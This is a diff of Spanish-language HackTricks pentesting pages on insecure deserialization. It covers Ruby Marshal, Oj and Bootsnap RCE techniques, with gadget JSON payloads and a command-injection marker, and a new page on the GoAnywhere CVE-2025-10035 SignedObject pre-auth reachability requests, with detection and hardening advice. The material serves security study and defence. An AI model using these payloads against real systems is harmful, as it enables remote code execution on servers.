tipos de objeto.** Utiliza `DataContractSerializer` o `XmlSerializer` cuando sea posible. +- **Evitar permitir que los flujos de datos definan sus tipos de objeto.** Utiliza `DataContractSerializer` o `XmlSerializer` cuando sea posible. - **Para `JSON.Net`, establece `TypeNameHandling` en `None`:** `TypeNameHandling = TypeNameHandling.None` -- **Evita usar `JavaScriptSerializer` con un `JavaScriptTypeResolver`.** -- **Limita los tipos que pueden ser deserializados**, entendiendo los riesgos inherentes con los tipos de .Net, como `System.IO.FileInfo`, que puede modificar las propiedades de los archivos del servidor, lo que podría llevar a ataques de denegación de servicio. -- **Ten cuidado con los tipos que tienen propiedades arriesgadas**, como `System.ComponentModel.DataAnnotations.ValidationException` con su propiedad `Value`, que puede ser explotada. -- **Controla de manera segura la instanciación de tipos** para evitar que los atacantes influyan en el proceso de deserialización, haciendo que incluso `DataContractSerializer` o `XmlSerializer` sean vulnerables. -- **Implementa controles de lista blanca** utilizando un `SerializationBinder` personalizado para `BinaryFormatter` y `JSON.Net`. -- **Mantente informado sobre gadgets de deserialización inseguros conocidos** dentro de .Net y asegúrate de que los deserializadores no instancien tales tipos. -- **Aísla el código potencialmente arriesgado** del código con acceso a internet para evitar exponer gadgets conocidos, como `System.Windows.Data.ObjectDataProvider` en aplicaciones WPF, a fuentes de datos no confiables. +- **Evitar usar `JavaScriptSerializer` con un `JavaScriptTypeResolver`.** +- **Limitar los tipos que pueden deserializarse**, comprendiendo los riesgos inherentes con los tipos de .Net, como `System.IO.FileInfo`, que puede modificar propiedades de archivos del servidor, potencialmente provocando ataques de denegación de servicio. +- **Tener precaución con tipos que tienen propiedades riesgosas**, como `System.ComponentModel.DataAnnotations.ValidationException` con su propiedad `Value`, que puede ser explotada. +- **Controlar de forma segura la instanciación de tipos** para impedir que atacantes influyan en el proceso de deserialización, volviendo incluso a `DataContractSerializer` o `XmlSerializer` vulnerables. +- **Implementar controles de lista blanca** usando un `SerializationBinder` personalizado para `BinaryFormatter` y `JSON.Net`. +- **Mantenerse informado sobre gadgets de deserialización inseguros conocidos** dentro de .Net y asegurar que los deserializadores no instancien tales tipos. +- **Aislar código potencialmente riesgoso** del código con acceso a internet para evitar exponer gadgets conocidos, como `System.Windows.Data.ObjectDataProvider` en aplicaciones WPF, a fuentes de datos no confiables. -### **Referencias** +### **References** -- Documento sobre deserialización JSON en Java y .Net:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Paper sobre deserialización JSON en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** -En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca **marshal**. El primer método, conocido como **dump**, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por el contrario, el segundo método, **load**, se emplea para revertir un flujo de bytes de nuevo a un objeto, un proceso conocido como deserialización. +En Ruby, la serialización se facilita mediante dos métodos de la librería **marshal**. El primer método, conocido como **dump**, se usa para transformar un objeto en una secuencia de bytes. Este proceso se denomina serialización. Por el contrario, el segundo método, **load**, se emplea para revertir una secuencia de bytes de vuelta a un objeto, un proceso conocido como deserialización. -Para asegurar objetos serializados, **Ruby emplea HMAC (Código de Autenticación de Mensajes Basado en Hash)**, asegurando la integridad y autenticidad de los datos. La clave utilizada para este propósito se almacena en una de varias ubicaciones posibles: +Para asegurar objetos serializados, **Ruby emplea HMAC (Hash-Based Message Authentication Code)**, garantizando la integridad y autenticidad de los datos. La llave utilizada para este propósito se almacena en una de varias ubicaciones posibles: - `config/environment.rb` - `config/initializers/secret_token.rb` - `config/secrets.yml` - `/proc/self/environ` -**Cadena de gadgets de deserialización genérica de Ruby 2.X a RCE (más información en** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: +**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: ```ruby #!/usr/bin/env ruby @@ -871,18 +885,18 @@ require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` -Otra cadena de RCE para explotar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) +Otra cadena RCE para explotar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) -### Método Ruby .send() +### Ruby .send() method -Como se explica en [**este informe de vulnerabilidad**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), si alguna entrada no sanitizada de un usuario llega al método `.send()` de un objeto ruby, este método permite **invocar cualquier otro método** del objeto con cualquier parámetro. +Como se explica en [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), si una entrada de usuario no sanitizada llega al método `.send()` de un objeto ruby, este método permite **invocar cualquier otro método** del objeto con cualquier parámetro. Por ejemplo, llamar a eval y luego código ruby como segundo parámetro permitirá ejecutar código arbitrario: ```ruby .send('eval', '') == RCE ``` -Además, si solo un parámetro de **`.send()`** es controlado por un atacante, como se mencionó en el escrito anterior, es posible llamar a cualquier método del objeto que **no necesite argumentos** o cuyos argumentos tengan **valores predeterminados**.\ -Para esto, es posible enumerar todos los métodos del objeto para **encontrar algunos métodos interesantes que cumplan con esos requisitos**. +Además, si solo un parámetro de **`.send()`** está controlado por un atacante, como se mencionó en el previous writeup, es posible invocar cualquier método del objeto que **no requiera argumentos** o cuyos argumentos tengan **valores por defecto**.\ +Para ello, es posible enumerar todos los métodos del objeto para **encontrar algunos métodos interesantes que cumplan esos requisitos**. ```ruby .send('') @@ -904,23 +918,23 @@ candidate_methods = repo_methods.select() do |method_name| end candidate_methods.length() # Final number of methods=> 3595 ``` -### Contaminación de clases Ruby +### Ruby class pollution -Verifique cómo podría ser posible [contaminar una clase Ruby y abusar de ella aquí](ruby-class-pollution.md). +Revisa cómo podría ser posible [pollute a Ruby class and abuse it in here](ruby-class-pollution.md). -### Contaminación _json de Ruby +### Ruby _json pollution -Al enviar en un cuerpo algunos valores no hashables como un array, se agregarán a una nueva clave llamada `_json`. Sin embargo, es posible que un atacante también establezca en el cuerpo un valor llamado `_json` con los valores arbitrarios que desee. Luego, si el backend, por ejemplo, verifica la veracidad de un parámetro pero luego también utiliza el parámetro `_json` para realizar alguna acción, se podría llevar a cabo una elusión de autorización. +Al enviar en un body algunos valores no hashables como un array, se añadirán en una nueva clave llamada `_json`. Sin embargo, es posible que un atacante también establezca en el body un valor llamado `_json` con los valores arbitrarios que desee. Luego, si el backend, por ejemplo, comprueba la veracidad de un parámetro pero también usa el parámetro `_json` para realizar alguna acción, podría producirse un bypass de autorización. -Consulte más información en la [página de contaminación _json de Ruby](ruby-_json-pollution.md). +Consulta más información en la [Ruby _json pollution page](ruby-_json-pollution.md). -### Otras bibliotecas +### Otras librerías -Esta técnica fue tomada [**de esta publicación de blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Esta técnica fue tomada[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). -Hay otras bibliotecas de Ruby que se pueden usar para serializar objetos y, por lo tanto, que podrían ser abusadas para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas bibliotecas y el método que llaman de la biblioteca cargada cada vez que se deserializa (función para abusar para obtener RCE básicamente): +Hay otras librerías de Ruby que pueden usarse para serializar objetos y que, por lo tanto, podrían ser abusadas para obtener RCE durante un insecure deserialization. La tabla siguiente muestra algunas de estas librerías y el método que llaman de la librería cargada cuando se deserializa (función para abusar y obtener RCE básicamente): -
BibliotecaDatos de entradaMétodo de inicio dentro de la clase
Marshal (Ruby)Binario_load
OjJSONhash (la clase debe ser puesta en hash(mapa) como clave)
OxXMLhash (la clase debe ser puesta en hash(mapa) como clave)
Psych (Ruby)YAMLhash (la clase debe ser puesta en hash(mapa) como clave)
init_with
JSON (Ruby)JSONjson_create ([ver notas sobre json_create al final](#table-vulnerable-sinks))
+
LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))
Ejemplo básico: ```ruby @@ -944,7 +958,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -En el caso de intentar abusar de Oj, fue posible encontrar una clase gadget que dentro de su función `hash` llamará a `to_s`, que llamará a spec, que llamará a fetch_path, lo que fue posible hacer que obtuviera una URL aleatoria, proporcionando un gran detector de este tipo de vulnerabilidades de deserialización no sanitizadas. +En el caso de intentar abusar de Oj, fue posible encontrar una clase gadget que, dentro de su función `hash`, llama a `to_s`, que a su vez llama a spec, que llama a fetch_path, lo que se pudo aprovechar para hacer que recuperara una URL aleatoria, convirtiéndolo en un excelente detector de este tipo de vulnerabilidades de deserialización no saneadas. ```json { "^o": "URI::HTTP", @@ -956,7 +970,7 @@ En el caso de intentar abusar de Oj, fue posible encontrar una clase gadget que "password": "anypw" } ``` -Además, se encontró que con la técnica anterior también se crea una carpeta en el sistema, que es un requisito para abusar de otro gadget con el fin de transformar esto en un RCE completo con algo como: +Además, se encontró que con la técnica anterior también se crea una carpeta en el sistema, lo cual es un requisito para abusar de otro gadget con el fin de transformar esto en un RCE completo con algo como: ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -978,48 +992,52 @@ Además, se encontró que con la técnica anterior también se crea una carpeta } } ``` -Revisa más detalles en la [**publicación original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). ### Bootstrap Caching -No es realmente una vulnerabilidad de deserialización, sino un buen truco para abusar del caché de bootstrap y obtener RCE de una aplicación Rails con una escritura de archivo arbitraria (encuentra la [publicación original completa aquí](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). +No es realmente una desearilization vuln, pero es un truco útil para abusar del bootstrap caching y conseguir RCE en una aplicación Rails con un arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). -A continuación se presenta un breve resumen de los pasos detallados en el artículo para explotar una vulnerabilidad de escritura de archivo arbitraria abusando del caché de Bootsnap: +Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching: -- Identificar la Vulnerabilidad y el Entorno +- Identify the Vulnerability and Environment -La funcionalidad de carga de archivos de la aplicación Rails permite a un atacante escribir archivos de manera arbitraria. Aunque la aplicación se ejecuta con restricciones (solo ciertos directorios como tmp son escribibles debido al usuario no root de Docker), esto aún permite escribir en el directorio de caché de Bootsnap (típicamente bajo tmp/cache/bootsnap). +La funcionalidad de subida de archivos de la app Rails permite a un atacante escribir archivos arbitrariamente. Aunque la app se ejecuta con restricciones (solo ciertos directorios como tmp son escribibles debido al non-root user de Docker), esto todavía permite escribir en el directorio de caché de Bootsnap (típicamente bajo tmp/cache/bootsnap). -- Entender el Mecanismo de Caché de Bootsnap +- Understand Bootsnap’s Cache Mechanism -Bootsnap acelera los tiempos de arranque de Rails almacenando en caché el código Ruby compilado, archivos YAML y JSON. Almacena archivos de caché que incluyen un encabezado de clave de caché (con campos como versión de Ruby, tamaño de archivo, mtime, opciones de compilación, etc.) seguido del código compilado. Este encabezado se utiliza para validar la caché durante el inicio de la aplicación. +Bootsnap acelera los tiempos de arranque de Rails almacenando en caché código Ruby compilado, archivos YAML y JSON. Guarda archivos de caché que incluyen un cache key header (con campos como Ruby version, file size, mtime, compile options, etc.) seguido por el código compilado. Este header se usa para validar la caché durante el inicio de la app. -- Reunir Metadatos del Archivo +- Gather File Metadata -El atacante primero selecciona un archivo objetivo que probablemente se cargue durante el inicio de Rails (por ejemplo, set.rb de la biblioteca estándar de Ruby). Al ejecutar código Ruby dentro del contenedor, extraen metadatos críticos (como RUBY_VERSION, RUBY_REVISION, tamaño, mtime y compile_option). Estos datos son esenciales para crear una clave de caché válida. +El atacante primero selecciona un archivo objetivo que probablemente se cargue durante el arranque de Rails (por ejemplo, set.rb de la standard library de Ruby). Ejecutando Ruby dentro del contenedor, extraen metadatos críticos (como RUBY_VERSION, RUBY_REVISION, size, mtime, y compile_option). Estos datos son esenciales para crear una cache key válida. -- Calcular la Ruta del Archivo de Caché +- Compute the Cache File Path -Al replicar el mecanismo de hash FNV-1a de 64 bits de Bootsnap, se determina la ruta correcta del archivo de caché. Este paso asegura que el archivo de caché malicioso se coloque exactamente donde Bootsnap lo espera (por ejemplo, bajo tmp/cache/bootsnap/compile-cache-iseq/). +Replicando el mecanismo de hashing FNV-1a 64-bit de Bootsnap se determina la ruta correcta del archivo de caché. Este paso asegura que el archivo de caché malicioso se coloque exactamente donde Bootsnap lo espera (por ejemplo, bajo tmp/cache/bootsnap/compile-cache-iseq/). -- Crear el Archivo de Caché Malicioso +- Craft the Malicious Cache File -El atacante prepara una carga útil que: +El atacante prepara un payload que: -- Ejecuta comandos arbitrarios (por ejemplo, ejecutando id para mostrar información del proceso). -- Elimina la caché maliciosa después de la ejecución para evitar explotación recursiva. -- Carga el archivo original (por ejemplo, set.rb) para evitar que la aplicación se bloquee. +- Ejecuta comandos arbitrarios (por ejemplo, ejecutar id para mostrar información del proceso). +- Elimina la caché maliciosa después de la ejecución para prevenir explotación recursiva. +- Carga el archivo original (p. ej., set.rb) para evitar que la aplicación se caiga. -Esta carga útil se compila en código Ruby binario y se concatena con un encabezado de clave de caché cuidadosamente construido (usando los metadatos reunidos previamente y el número de versión correcto para Bootsnap). +Este payload se compila en código Ruby binario y se concatena con un cache key header cuidadosamente construido (usando los metadatos recopilados previamente y el número de versión correcto de Bootsnap). -- Sobrescribir y Activar la Ejecución -Usando la vulnerabilidad de escritura de archivo arbitraria, el atacante escribe el archivo de caché elaborado en la ubicación calculada. A continuación, activan un reinicio del servidor (escribiendo en tmp/restart.txt, que es monitoreado por Puma). Durante el reinicio, cuando Rails requiere el archivo objetivo, se carga el archivo de caché malicioso, lo que resulta en ejecución remota de código (RCE). +- Overwrite and Trigger Execution -### Explotación de Ruby Marshal en la práctica (actualizado) +Usando la vulnerabilidad de arbitrary file write, el atacante escribe el archivo de caché creado en la ubicación calculada. Luego, provocan un reinicio del servidor (escribiendo en tmp/restart.txt, que es monitorizado por Puma). Durante el reinicio, cuando Rails requiere el archivo objetivo, se carga el archivo de caché malicioso, resultando en remote code execution (RCE). -Trata cualquier ruta donde bytes no confiables lleguen a `Marshal.load`/`marshal_load` como un sumidero de RCE. Marshal reconstruye gráficos de objetos arbitrarios y activa callbacks de bibliotecas/gemas durante la materialización. -- Ruta de código Rails vulnerable mínima: + +### Ruby Marshal explotación en la práctica (updated) + +Considera cualquier ruta donde bytes no confiables lleguen a `Marshal.load`/`marshal_load` como un RCE sink. Marshal reconstruye grafos de objetos arbitrarios y dispara callbacks de librerías/gems durante la materialización. + + +- Minimal vulnerable Rails code path: ```ruby class UserRestoreController < ApplicationController def show @@ -1033,20 +1051,20 @@ end end end ``` -- Clases de gadgets comunes vistas en cadenas reales: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. -- Marcador de efecto secundario típico incrustado en cargas útiles (ejecutado durante la deserialización): +- Clases de gadget comunes vistas en chains reales: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. +- Marcador típico de efecto secundario incrustado en payloads (ejecutado durante unmarshal): ``` *-TmTT="$(id>/tmp/marshal-poc)"any.zip ``` Dónde aparece en aplicaciones reales: -- Almacenes de caché de Rails y almacenes de sesión que históricamente utilizan Marshal -- Backend de trabajos en segundo plano y almacenes de objetos respaldados por archivos -- Cualquier persistencia o transporte personalizado de blobs de objetos binarios +- Rails cache stores y session stores que históricamente usan Marshal +- Backends de background jobs y file-backed object stores +- Cualquier persistencia personalizada o transporte de blobs binarios de objetos Descubrimiento industrializado de gadgets: -- Grep para constructores, `hash`, `_load`, `init_with`, o métodos con efectos secundarios invocados durante el desmarshalling -- Utilizar las consultas de deserialización insegura de Ruby de CodeQL para rastrear fuentes → sumideros y descubrir gadgets -- Validar con PoCs públicas de múltiples formatos (JSON/XML/YAML/Marshal) +- Grep para constructors, `hash`, `_load`, `init_with`, o métodos con efectos secundarios invocados durante el unmarshal +- Usa CodeQL’s Ruby unsafe deserialization queries para trazar sources → sinks y exponer gadgets +- Valida con PoCs públicos multi-formato (JSON/XML/YAML/Marshal) ## Referencias @@ -1065,5 +1083,6 @@ Descubrimiento industrializado de gadgets: - Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1 - Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444 - Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ +- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md b/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md new file mode 100644 index 000000000..89f0bf931 --- /dev/null +++ b/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md @@ -0,0 +1,140 @@ +# Java SignedObject-gated Deserialization y Pre-auth Reachability a través de rutas de error + +{{#include ../../banners/hacktricks-training.md}} + +Esta página documenta un patrón común de deserialización Java "protegido" construido alrededor de java.security.SignedObject y cómo sinks aparentemente inaccesibles pueden volverse alcanzables pre-auth mediante flujos de manejo de errores. La técnica se observó en Fortra GoAnywhere MFT (CVE-2025-10035) pero es aplicable a diseños similares. + +## Modelo de amenaza + +- El atacante puede alcanzar un endpoint HTTP que eventualmente procesa un byte[] suministrado por el atacante destinado a ser un SignedObject serializado. +- El código usa un wrapper de validación (p. ej., Apache Commons IO ValidatingObjectInputStream o un adaptador personalizado) para restringir el tipo más externo a SignedObject (o byte[]). +- El objeto interno devuelto por SignedObject.getObject() es donde las gadget chains pueden activarse (p. ej., CommonsBeanutils1), pero solo después de una puerta de verificación de firma. + +## Patrón vulnerable típico + +Un ejemplo simplificado basado en com.linoma.license.gen2.BundleWorker.verify: +```java +private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception { +String sigAlg = "SHA1withDSA"; +if ("2".equals(keyCfg.getVersion())) { +sigAlg = "SHA512withRSA"; // key version controls algorithm +} +PublicKey pub = getPublicKey(keyCfg); +Signature sig = Signature.getInstance(sigAlg); + +// 1) Outer, "guarded" deserialization restricted to SignedObject +SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize( +payload, SignedObject.class, new Class[]{ byte[].class }); + +if (keyCfg.isServer()) { +// Hardened server path +return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject( +so, SignedContainer.class, new Class[]{ byte[].class } +)).getData(); +} else { +// 2) Signature check using a baked-in public key +if (!so.verify(pub, sig)) { +throw new IOException("Unable to verify signature!"); +} +// 3) Inner object deserialization (potential gadget execution) +SignedContainer inner = (SignedContainer) so.getObject(); +return inner.getData(); +} +} +``` +Observaciones clave: +- El deserializador validador en (1) bloquea clases de gadget arbitrarias a nivel superior; solo se acepta SignedObject (o raw byte[]). +- El primitivo de RCE estaría en el objeto interno materializado por SignedObject.getObject() en (3). +- Una comprobación de firma en (2) exige que el SignedObject se verifique usando verify() contra una clave pública incluida en el producto. A menos que el atacante pueda producir una firma válida, el gadget interno nunca se deserializa. + +## Consideraciones de explotación + +Para lograr ejecución de código, un atacante debe entregar un SignedObject correctamente firmado que envuelva una cadena de gadgets maliciosa como su objeto interno. Esto generalmente requiere una de las siguientes opciones: + +- Compromiso de la clave privada: obtener la clave privada correspondiente usada por el producto para firmar/verificar objetos de licencia. +- Signing oracle: coaccionar al vendor o a un servicio de firma de confianza para que firme contenido serializado controlado por el atacante (p. ej., si un license server firma un objeto arbitrario incrustado a partir de la entrada del cliente). +- Ruta alternativa accesible: encontrar una ruta del lado servidor que deserialice el objeto interno sin aplicar verify(), o que omita las comprobaciones de firma bajo un modo específico. + +Si no se cumple alguna de estas, la verificación de la firma impedirá la explotación a pesar de la presencia de un deserialization sink. + +## Alcance pre-auth vía flujos de manejo de errores + +Incluso cuando un endpoint de deserialización parece requerir autenticación o un token ligado a sesión, el código de manejo de errores puede crear inadvertidamente y adjuntar el token a una sesión no autenticada. + +Cadena de alcance de ejemplo (GoAnywhere MFT): +- Servlet objetivo: /goanywhere/lic/accept/ requiere un token de solicitud de licencia ligado a la sesión. +- Ruta de error: acceder a /goanywhere/license/Unlicensed.xhtml con datos basura al final y estado JSF inválido dispara AdminErrorHandlerServlet, que hace: +- SessionUtilities.generateLicenseRequestToken(session) +- Redirige al license server del proveedor con una signed license request en bundle=<...> +- El bundle puede ser descifrado offline (claves hard-coded) para recuperar el GUID. Mantén la misma cookie de sesión y haz POST a /goanywhere/lic/accept/ con bytes del bundle controlados por el atacante, alcanzando el SignedObject sink pre-auth. + +Prueba de alcanzabilidad (sin impacto) de sondeo: +```http +GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1 +Host: +``` +- Sin parchear: cabecera 302 Location a https://my.goanywhere.com/lic/request?bundle=... y Set-Cookie: ASESSIONID=... +- Parcheado: redirección sin bundle (sin generación de token). + +## Blue-team detection + +Indicadores en stack traces/logs sugieren fuertemente intentos de alcanzar un SignedObject-gated sink: +``` +java.io.ObjectInputStream.readObject +java.security.SignedObject.getObject +com.linoma.license.gen2.BundleWorker.verify +com.linoma.license.gen2.BundleWorker.unbundle +com.linoma.license.gen2.LicenseController.getResponse +com.linoma.license.gen2.LicenseAPI.getResponse +com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost +``` +## Guía de endurecimiento + +- Mantener la verificación de la firma antes de cualquier llamada a getObject() y asegurarse de que la verificación use la clave pública/algoritmo previsto. +- Reemplazar las llamadas directas a SignedObject.getObject() con un wrapper endurecido que vuelva a aplicar filtrado al stream interno (p. ej., deserializeUntrustedSignedObject usando ValidatingObjectInputStream/ObjectInputFilter con listas de permitidos (allow-lists)). +- Eliminar flujos de manejo de errores que emitan tokens ligados a sesión para usuarios no autenticados. Tratar las rutas de error como superficie de ataque. +- Preferir filtros de serialización de Java (JEP 290) con listas de permitidos estrictas para la deserialización tanto externa como interna. Ejemplo: +```java +ObjectInputFilter filter = info -> { +Class c = info.serialClass(); +if (c == null) return ObjectInputFilter.Status.UNDECIDED; +if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED; +return ObjectInputFilter.Status.REJECTED; // outer layer +}; +ObjectInputFilter.Config.setSerialFilter(filter); +// For the inner object, apply a separate strict DTO allow-list +``` +## Resumen de la cadena de ataque de ejemplo (CVE-2025-10035) + +1) Pre-auth token minting via error handler: +```http +GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate +``` +Recibir 302 con bundle=... y ASESSIONID=...; descifrar bundle offline para recuperar el GUID. + +2) Alcanzar el sink pre-auth con la misma cookie: +```http +POST /goanywhere/lic/accept/ HTTP/1.1 +Cookie: ASESSIONID= +Content-Type: application/x-www-form-urlencoded + +bundle= +``` +3) RCE requiere un SignedObject correctamente firmado que envuelva una gadget chain. Los investigadores no pudieron eludir la verificación de firmas; la explotación depende del acceso a una clave privada coincidente o a un signing oracle. + +## Versiones corregidas y cambios de comportamiento + +- GoAnywhere MFT 7.8.4 y Sustain Release 7.6.3: +- Endurecer la deserialización interna reemplazando SignedObject.getObject() con un wrapper (deserializeUntrustedSignedObject). +- Eliminar la generación de tokens del error-handler, cerrando la pre-auth reachability. + +## Notas sobre JSF/ViewState + +El truco de reachability aprovecha una página JSF (.xhtml) y un javax.faces.ViewState inválido para redirigir hacia un error handler privilegiado. Aunque no es un problema de deserialización de JSF, es un patrón recurrente pre-auth: entrar en error handlers que realizan acciones privilegiadas y establecen atributos de sesión relevantes para la seguridad. + +## References + +- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/) +- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012) + +{{#include ../../banners/hacktricks-training.md}}